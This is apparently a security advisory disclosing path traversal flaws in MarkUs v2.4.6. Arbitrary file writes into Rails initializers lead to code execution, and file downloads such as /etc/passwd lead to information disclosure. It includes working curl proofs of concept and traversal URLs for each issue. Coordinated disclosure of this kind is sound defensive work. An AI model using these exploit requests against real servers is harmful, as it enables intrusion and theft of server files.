Coordinated Disclosure Timeline

Summary

Several vulnerabilities were found in MarkUs, a web application for the submission and grading of student assignments. They can lead up to Remote Code Execution (RCE) via the submission of a student.

Following issues are part of this report:

Project

MarkUs

Tested Version

v2.4.6

Details

Issue 1: Arbitrary File Write leading up to RCE in SubmissionsController (GHSL-2024-060)

An arbitrary file write vulnerability accessible via the update_files method of the SubmissionsController allows authenticated users (e.g. students) to write arbitrary files to any location on the web server MarkUs is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a delayed remote code execution in case an attacker is able to write a Ruby file into the config/initializers/ subfolder of the Ruby on Rails application.

In the update_files method the untrusted params[:path] flows into the @path member variable when present:

def update_files
  assignment_id = params[:assignment_id]
  unzip = params[:unzip] == 'true'
  @assignment = Assignment.find(assignment_id)
  raise t('student.submission.external_submit_only') if current_role.student? && !@assignment.allow_web_submits

  @path = params[:path].presence || '/'
[..]

This @path is later joined with the @grouping.assignment.repository_folder:

path = Pathname.new(@grouping.assignment.repository_folder).join(@path.gsub(%r{^/}, ''))

This path then flows into add_file of RepositoryHelper:

success, msgs = add_file(f, current_role, repo,
                         path: path, txn: txn, check_size: true, required_files: required_files)

This path and file content then flows through add inside of repository.rb. Then flows into add_file of GitRepository and finally ends up inside of write_file where its written to disk still using the untrusted path from remote:

def write_file(path, file_data)
  # Get directory path of file (one level higher)
  dir = File.dirname(path)
  abs_path = File.join(tmp_repo, dir)
  # Create the folder (if not present), creating parents folders if necessary.
  # This will not overwrite the folder if it's already present.
  FileUtils.mkdir_p(abs_path)
  # Create a file and commit it. This will overwrite the
  # file on disk if it already exists, but will only make a
  # new commit if the file contents have changed.
  abs_path = File.join(tmp_repo, path)
  File.write(abs_path, file_data.force_encoding('UTF-8'))
  non_bare_repo.index.add(path)
end

Note: The untrusted file path can either come from params[:path] but it can also come from inside a zip file which is unzipped by the upload_files_helper.

Proof of concept

Precondition: A valid account of a student that is able to upload files for an assignment is required. (The values for the session cookie and the CSRF token need to be replaced with authenticated values in the curl command below)

curl -i -s -k -X $'POST' \
 -H $'Content-Length: 691'  -H $'X-CSRF-Token: [..]' -H $'sec-ch-ua-mobile: ?0' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNv2DtbJceKvhDqHJ' -H $'Accept: */*' -H $'X-Requested-With: XMLHttpRequest' -H $'Origin: https://<markus-host>' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Dest: empty'  -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: close' \
    -b $'_markus_session_csc108=[..]; \
    --data-binary $'------WebKitFormBoundaryNv2DtbJceKvhDqHJ\x0d\x0aContent-Disposition: form-data; name=\"new_files[]\"; filename=\"test.rb\"\x0d\x0aContent-Type: text/x-ruby-script\x0d\x0a\x0d\x0aputs \"=================================\"\x0aputs \"=================================\"\x0aputs \"= COMPROMISED                    =\"\x0aputs \"=================================\"\x0aputs \"=================================\"\x0d\x0a------WebKitFormBoundaryNv2DtbJceKvhDqHJ\x0d\x0aContent-Disposition: form-data; name=\"path\"\x0d\x0a\x0d\x0a../../../../../../../../../../app/config/initializers/\x0d\x0a------WebKitFormBoundaryNv2DtbJceKvhDqHJ\x0d\x0aContent-Disposition: form-data; name=\"grouping_id\"\x0d\x0a\x0d\x0a397\x0d\x0a------WebKitFormBoundaryNv2DtbJceKvhDqHJ\x0d\x0aContent-Disposition: form-data; name=\"unzip\"\x0d\x0a\x0d\x0afalse\x0d\x0a------WebKitFormBoundaryNv2DtbJceKvhDqHJ--\x0d\x0a' \
    $'https://<markus-host>/csc108/courses/1/assignments/4/submissions/update_files'

This PoC writes a file called test.rb to the /app/config/initializers/ folder. (the MarkUs Rails application is located in the /app folder in the Docker image). Since the initializers are only executed on the start of a Ruby on Rails web application the attacker has to wait for a restart of the web application (or force a restart by performing a denial of service (DoS) attack against the web server).

Once MarkUs is restarted following output will be visible in the log:

rails-1  | =================================
rails-1  | =================================
rails-1  | = COMPROMISED                   =
rails-1  | =================================
rails-1  | =================================

This means the code provided by the attacker has been executed. (only puts statements in this case)

Impact

This issue may lead up to Remote Code Execution (RCE) via arbitrary file write.

Issue 3: Arbitrary File Write leading up to RCE in AutomatedTestsController (GHSL-2024-062)

An arbitrary file write vulnerability in the upload_files method of the AutomatedTestsController allows authenticated instructors to write arbitrary files to any location on the web server MarkUs is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a delayed remote code execution in case an attacker is able to write a Ruby file into the config/initializers/ subfolder of the Ruby on Rails application.

In the upload_files method the untrusted params[:path] is joined with assignment.autotest_files_dir and the untrusted f.original_filename:

[..]
        file_path = File.join(assignment.autotest_files_dir, params[:path], f.original_filename)
        FileUtils.mkdir_p(File.dirname(file_path))
        file_content = f.read
        File.write(file_path, file_content, mode: 'wb')
[..]

This path is then used to write the submitted file using File.write.

This vulnerability was found using a CodeQL query which identifies Uncontrolled data used in path expression.

Proof of concept

Precondition: A valid account of an instructor is required. (The values for the session cookie and the CSRF token need to be replaced with authenticated values in the curl command below)

curl -i -s -k -X $'POST' \
    -H $'Content-Length: 586'  -H $'X-CSRF-Token: [..]' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynCEON4XPCSZgdZjR' -H $'Accept: */*' -H $'X-Requested-With: XMLHttpRequest' -H $'Origin: https://<markus-host>' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Dest: empty' -H $'Accept-Encoding: gzip, deflate, br' -H $'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' -H $'Connection: close' \
    -b $'_markus_session_csc108=[..] \
    --data-binary $'------WebKitFormBoundarynCEON4XPCSZgdZjR\x0d\x0aContent-Disposition: form-data; name=\"new_files[]\"; filename=\"test2.rb\"\x0d\x0aContent-Type: text/x-ruby-script\x0d\x0a\x0d\x0aputs \"=================================\"\x0aputs \"=================================\"\x0aputs \"= COMPROMISED 2            =\"\x0aputs \"=================================\"\x0aputs \"=================================\"\x0d\x0a------WebKitFormBoundarynCEON4XPCSZgdZjR\x0d\x0aContent-Disposition: form-data; name=\"path\"\x0d\x0a\x0d\x0a../../../../../../../../../../app/config/initializers/\x0d\x0a------WebKitFormBoundarynCEON4XPCSZgdZjR\x0d\x0aContent-Disposition: form-data; name=\"unzip\"\x0d\x0a\x0d\x0afalse\x0d\x0a------WebKitFormBoundarynCEON4XPCSZgdZjR--\x0d\x0a' \
    $'https://<markus-host>/csc108/courses/1/assignments/1/automated_tests/upload_files'

This PoC writes a file called test2.rb to the /app/config/initializers/ folder. (the MarkUs Rails application is located in the /app folder in the Docker image). Since the initializers are only executed on the start of a Ruby on Rails web application the attacker has to wait for a restart of the web application (or force a restart by performing a denial of service (DoS) attack against the web server).

Once MarkUs is restarted following output will be visible in the log:

rails-1  | =================================
rails-1  | =================================
rails-1  | = COMPROMISED 2                 =
rails-1  | =================================
rails-1  | =================================

This means the code provided by the attacker has been executed. (only puts statements in this case)

Impact

This issue may lead up to Remote Code Execution (RCE) via arbitrary file write.

Issue 4: Arbitrary File Write leading up to RCE in StarterFileGroupsController (GHSL-2024-063)

An arbitrary file write vulnerability in the update_files method of the StarterFileGroupsController allows authenticated instructors to write arbitrary files to any location on the web server MarkUs is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a delayed remote code execution in case an attacker is able to write a Ruby file into the config/initializers/ subfolder of the Ruby on Rails application.

In the update_files method the untrusted params[:path] is joined with starter_file_group.path and the untrusted f.original_filename:

[..]
        file_path = File.join(starter_file_group.path, params[:path].to_s, f.original_filename)
        file_content = f.read
        File.write(file_path, file_content, mode: 'wb')
[..]

This path is then used to write the submitted file using File.write.

This vulnerability was found using a CodeQL query which identifies Uncontrolled data used in path expression.

Proof of concept

Precondition: A valid account of an instructor is required. (The values for the session cookie and the CSRF token need to be replaced with authenticated values in the curl command below)

curl -i -s -k -X $'POST' \
     -H $'Content-Length: 586' -H $'X-CSRF-Token: [..]' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAu8y47IZVLQfw45o' -H $'Accept: */*' -H $'X-Requested-With: XMLHttpRequest' -H $'Origin: https://<markus-host>' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Dest: empty' -H $'Accept-Encoding: gzip, deflate, br' -H $'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' -H $'Connection: close' \
    -b $'_markus_session_csc108=[..]; ' \
    --data-binary $'------WebKitFormBoundaryAu8y47IZVLQfw45o\x0d\x0aContent-Disposition: form-data; name=\"new_files[]\"; filename=\"test2.rb\"\x0d\x0aContent-Type: text/x-ruby-script\x0d\x0a\x0d\x0aputs \"=================================\"\x0aputs \"=================================\"\x0aputs \"= COMPROMISED 3            =\"\x0aputs \"=================================\"\x0aputs \"=================================\"\x0d\x0a------WebKitFormBoundaryAu8y47IZVLQfw45o\x0d\x0aContent-Disposition: form-data; name=\"path\"\x0d\x0a\x0d\x0a../../../../../../../../../../app/config/initializers/\x0d\x0a------WebKitFormBoundaryAu8y47IZVLQfw45o\x0d\x0aContent-Disposition: form-data; name=\"unzip\"\x0d\x0a\x0d\x0afalse\x0d\x0a------WebKitFormBoundaryAu8y47IZVLQfw45o--\x0d\x0a' \
    $'https://<markus-host>/csc108/courses/1/starter_file_groups/1/update_files'

This PoC writes a file called test2.rb to the /app/config/initializers/ folder. (the MarkUs Rails application is located in the /app folder in the Docker image). Since the initializers are only executed on the start of a Ruby on Rails web application the attacker has to wait for a restart of the web application (or force a restart by performing a denial of service (DoS) attack against the web server).

Once MarkUs is restarted following output will be visible in the log:

rails-1  | =================================
rails-1  | =================================
rails-1  | = COMPROMISED 3                 =
rails-1  | =================================
rails-1  | =================================

This means the code provided by the attacker has been executed. (only puts statements in this case)

Impact

This issue may lead up to Remote Code Execution (RCE) via arbitrary file write.

Issue 5: Arbitrary File Write leading up to RCE in StarterFileGroupsController API (GHSL-2024-064)

An arbitrary file write vulnerability in the create_file method of the StarterFileGroupsController API allows authenticated instructors to write arbitrary files to any location on the web server MarkUs is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a delayed remote code execution in case an attacker is able to write a Ruby file into the config/initializers/ subfolder of the Ruby on Rails application.

In the create_file method the untrusted params[:filename] is joined with starter_file_group.path:

[..]
      file_path = File.join(starter_file_group.path, params[:filename])
      File.write(file_path, content, mode: 'wb')
[..]

This path is then used to write the submitted file using File.write.

This vulnerability was found using a CodeQL query which identifies Uncontrolled data used in path expression.

Proof of concept

Precondition: A valid API key of an instructor is required. (The value ` ` needs to be replaced with the API-KEY in the `curl` command below)

curl -i -X POST -H "Authorization: MarkUsAuth <API-KEY>" "https://<markus-host>csc108/api/courses/1/starter_file_groups/1/create_file?filename=../../../../../../../../../../app/config/initializers/test3.rb&file_content=puts%20'COMPROMISED4'"

This PoC writes a file called test3.rb to the /app/config/initializers/ folder. (the MarkUs Rails application is located in the /app folder in the Docker image). Since the initializers are only executed on the start of a Ruby on Rails web application the attacker has to wait for a restart of the web application (or force a restart by performing a denial of service (DoS) attack against the web server).

Once MarkUs is restarted following output will be visible in the log:

COMPROMISED4

This means the code provided by the attacker has been executed. (only a puts statement in this case)

Impact

This issue may lead up to Remote Code Execution (RCE) via arbitrary file write.

Issue 6: Path Traversal in AutomatedTestsController#download_file (GHSL-2024-065)

A path traversal vulnerability inside of AutomatedTestsController’s download_file method allows authenticated instructors to download any file on the web server MarkUs is running on (depending on the file permissions).

In the download_file method the assignment.autotest_files_dir is joined with the untrusted params[:file_name] and then delivered via the send_file_download helper method which wraps send_file from Rails:

 def download_file
  assignment = Assignment.find(params[:assignment_id])
  file_path = File.join(assignment.autotest_files_dir, params[:file_name])
  filename = File.basename params[:file_name]
  if File.exist?(file_path)
    send_file_download file_path, filename: filename
  else
    render plain: t('student.submission.missing_file', file_name: filename)
  end
end

Proof of concept

An authenticated instructor can download the /etc/passwd file by visiting an URL such as:

https://<markus-host>/csc108/courses/1/assignments/2/automated_tests/download_file?file_name=../../../../../../../../../etc/passwd

Impact

This issue may lead to Information Disclosure.

Issue 7: Path Traversal in ExamTemplatesController#download_error_file (GHSL-2024-066)

A path traversal vulnerability inside of ExamTemplatesController’s download_error_file method allows authenticated instructors to download any file on the web server MarkUs is running on (depending on the file permissions).

In the download_generate method the exam_template.base_path is joined with the untrusted params[:file_name] and then delivered via send_file from Rails:

def download_error_file
  exam_template = record
  @assignment = record.assignment
  send_file(File.join(exam_template.base_path, 'error', params[:file_name]),
            filename: params[:file_name],
            type: 'application/pdf')
end

Proof of concept

An authenticated instructor can download the /etc/passwd file by visiting an URL such as:

https://<markus-host>/csc108/courses/1/exam_templates/1/download_error_file?file_name=../../../../../../../../../etc/passwd

Impact

This issue may lead to Information Disclosure.

Issue 8: Path Traversal in ExamTemplatesController#download_generate (GHSL-2024-067)

A path traversal vulnerability inside of ExamTemplatesController’s download_generate method allows authenticated instructors to download any file on the web server MarkUs is running on (depending on the file permissions).

In the download_generate method the exam_template.tmp_path is joined with the untrusted params[:file_name] and then delivered via send_file from Rails:

def download_generate
  exam_template = record
  send_file(File.join(exam_template.tmp_path, params[:file_name]),
            filename: params[:file_name],
            type: 'application/pdf')
end

This vulnerability was found using a CodeQL query which identifies Uncontrolled data used in path expression.

Proof of concept

Precondition: A path such as /app/tmp/exam_templates/<ID>/ has to exist. This path is typically generated in the GenerateJob.

An authenticated instructor can download the /etc/passwd file by visiting an URL such as:

https://<markus-host>/csc108/courses/1/exam_templates/1/download_generate?file_name=../../../../../../../../../etc/passwd

Impact

This issue may lead to Information Disclosure.

Issue 9: Path Traversal in StarterFileGroupsController#download (GHSL-2024-068)

A path traversal vulnerability inside of StarterFileGroupsController’s download method allows authenticated instructors to download any file on the web server MarkUs is running on (depending on the file permissions).

In the download_file method the starter_file_group.path is joined with the untrusted params[:file_name] and then delivered via the send_file_download helper method which wraps send_file from Rails:

def download_file
  starter_file_group = record
  file_path = File.join starter_file_group.path, params[:file_name]
  filename = File.basename params[:file_name]
  if File.exist?(file_path)
    send_file_download file_path, filename: filename
  else
    render plain: t('student.submission.missing_file', file_name: filename)
  end
end

Proof of concept

An authenticated instructor can download the /etc/passwd file by visiting an URL such as:

https://<markus-host>/csc108/courses/1/starter_file_groups/1/download_file?file_name=../../../../../../../../../etc/passwd

Impact

This issue may lead to Information Disclosure.

CVE

Credit

These issues were discovered and reported by GHSL team member @p- (Peter Stöckli).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-060, GHSL-2024-062, GHSL-2024-063, GHSL-2024-064, GHSL-2024-065, GHSL-2024-066, GHSL-2024-067, or GHSL-2024-068 in any communication regarding these issues.